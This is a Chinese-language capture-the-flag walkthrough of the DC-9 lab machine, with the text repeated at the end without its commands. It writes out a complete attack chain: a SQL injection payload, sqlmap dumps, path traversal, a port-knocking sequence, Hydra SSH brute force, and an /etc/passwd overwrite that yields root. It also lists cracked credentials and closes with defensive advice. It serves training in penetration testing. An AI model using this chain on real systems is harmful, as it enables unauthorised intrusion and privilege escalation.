DC系列靶机丨DC9
字数 1162 2025-08-11 17:40:08

DC-9靶机渗透测试教学文档

1. 信息收集阶段

1.1 确定目标IP

使用netdiscover扫描本地网络:

netdiscover -i eth0 -r 192.168.84.0/24

1.2 端口扫描

使用nmap进行端口扫描:

nmap -sS -sV -p- 192.168.84.185

2. Web应用测试

2.1 发现SQL注入漏洞

在搜索框中测试SQL注入:

1' or 1=1 -- qwe
  • 此注入成功返回所有信息,确认存在SQL注入漏洞

2.2 利用SQL注入

使用Burp Suite抓取请求数据,然后使用sqlmap自动化工具:

sqlmap -r request.txt --dbs
sqlmap -r request.txt -D database_name --tables
sqlmap -r request.txt -D database_name -T table_name --dump
  • 获取到解密后的凭证:admin:transorbital1

3. 登录后测试

3.1 发现文件包含漏洞

在添加记录页面发现文件包含漏洞:

  • 通过添加多个跳转符../测试路径遍历
  • 成功读取Apache 2.4配置文件

4. 服务发现与敲门服务

4.1 发现knockd服务

  • 虽然nmap扫描到22端口,但连接被过滤
  • 怀疑存在knockd服务(通过特定端口序列动态修改iptables规则)

4.2 敲门序列

使用masscan依次扫描特定端口:

masscan -p7469 192.168.84.185
masscan -p8475 192.168.84.185
masscan -p9842 192.168.84.185

然后使用nmap验证SSH端口是否开放:

nmap 192.168.84.185 -p22

5. SSH爆破

5.1 准备字典

  • 将之前收集的用户信息存入username.txt
  • 密码存入pw.txt

5.2 使用Hydra爆破

hydra -L username.txt -P pw.txt ssh://192.168.84.185
  • 成功爆破出凭证:janitor:Ilovepeepee

6. 权限提升

6.1 发现隐藏目录

登录后查找隐藏目录和文件:

find / -name "*pass*" 2>/dev/null
  • 发现存放密码的文件

6.2 进一步爆破

使用发现的密码进行爆破,得到新凭证:
fredf:B4-Tru3-001

6.3 提权分析

检查sudo权限:

sudo -l

发现可以无密码运行test文件:

sudo ./test

6.4 分析test文件

查找test.py文件:

find / -name test.py 2>/dev/null

分析发现:

  • 该Python脚本读取参数1的内容并写入参数2

6.5 构造提权payload

  1. 生成加密密码:
openssl passwd -1 -salt admin 123456

输出示例:$1$admin$LClYcRe.ee8dQwgrFc5nz.

  1. 构造passwd文件条目:
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
  1. 利用test脚本提权:
sudo ./test /tmp/passwd /etc/passwd
  1. 切换到root用户:
su admin
密码:123456

7. 获取flag

提权成功后,在系统常规flag位置查找并读取flag文件。

关键知识点总结

  1. SQL注入:通过搜索框发现并利用SQL注入漏洞获取数据库凭证
  2. 文件包含:通过路径遍历读取系统配置文件
  3. 敲门服务(knockd):理解并利用端口敲门序列开放SSH服务
  4. 凭证爆破:使用Hydra进行SSH爆破
  5. 权限提升
    • 通过sudo权限滥用
    • 利用自定义脚本覆盖/etc/passwd文件
    • 构造root权限用户实现提权

防御建议

  1. 对用户输入进行严格过滤,防止SQL注入
  2. 限制文件包含功能,避免路径遍历
  3. 避免使用弱密码或默认密码
  4. 谨慎配置sudo权限,避免无密码执行危险命令
  5. 定期检查系统上的setuid文件和sudo配置
  6. 对/etc/passwd等关键文件设置不可变属性(chattr +i)
DC-9靶机渗透测试教学文档 1. 信息收集阶段 1.1 确定目标IP 使用netdiscover扫描本地网络: 1.2 端口扫描 使用nmap进行端口扫描: 2. Web应用测试 2.1 发现SQL注入漏洞 在搜索框中测试SQL注入: 此注入成功返回所有信息,确认存在SQL注入漏洞 2.2 利用SQL注入 使用Burp Suite抓取请求数据,然后使用sqlmap自动化工具: 获取到解密后的凭证: admin:transorbital1 3. 登录后测试 3.1 发现文件包含漏洞 在添加记录页面发现文件包含漏洞: 通过添加多个跳转符 ../ 测试路径遍历 成功读取Apache 2.4配置文件 4. 服务发现与敲门服务 4.1 发现knockd服务 虽然nmap扫描到22端口,但连接被过滤 怀疑存在knockd服务(通过特定端口序列动态修改iptables规则) 4.2 敲门序列 使用masscan依次扫描特定端口: 然后使用nmap验证SSH端口是否开放: 5. SSH爆破 5.1 准备字典 将之前收集的用户信息存入username.txt 密码存入pw.txt 5.2 使用Hydra爆破 成功爆破出凭证: janitor:Ilovepeepee 6. 权限提升 6.1 发现隐藏目录 登录后查找隐藏目录和文件: 发现存放密码的文件 6.2 进一步爆破 使用发现的密码进行爆破,得到新凭证: fredf:B4-Tru3-001 6.3 提权分析 检查sudo权限: 发现可以无密码运行test文件: 6.4 分析test文件 查找test.py文件: 分析发现: 该Python脚本读取参数1的内容并写入参数2 6.5 构造提权payload 生成加密密码: 输出示例: $1$admin$LClYcRe.ee8dQwgrFc5nz. 构造passwd文件条目: 利用test脚本提权: 切换到root用户: 7. 获取flag 提权成功后,在系统常规flag位置查找并读取flag文件。 关键知识点总结 SQL注入 :通过搜索框发现并利用SQL注入漏洞获取数据库凭证 文件包含 :通过路径遍历读取系统配置文件 敲门服务(knockd) :理解并利用端口敲门序列开放SSH服务 凭证爆破 :使用Hydra进行SSH爆破 权限提升 : 通过sudo权限滥用 利用自定义脚本覆盖/etc/passwd文件 构造root权限用户实现提权 防御建议 对用户输入进行严格过滤,防止SQL注入 限制文件包含功能,避免路径遍历 避免使用弱密码或默认密码 谨慎配置sudo权限,避免无密码执行危险命令 定期检查系统上的setuid文件和sudo配置 对/etc/passwd等关键文件设置不可变属性(chattr +i)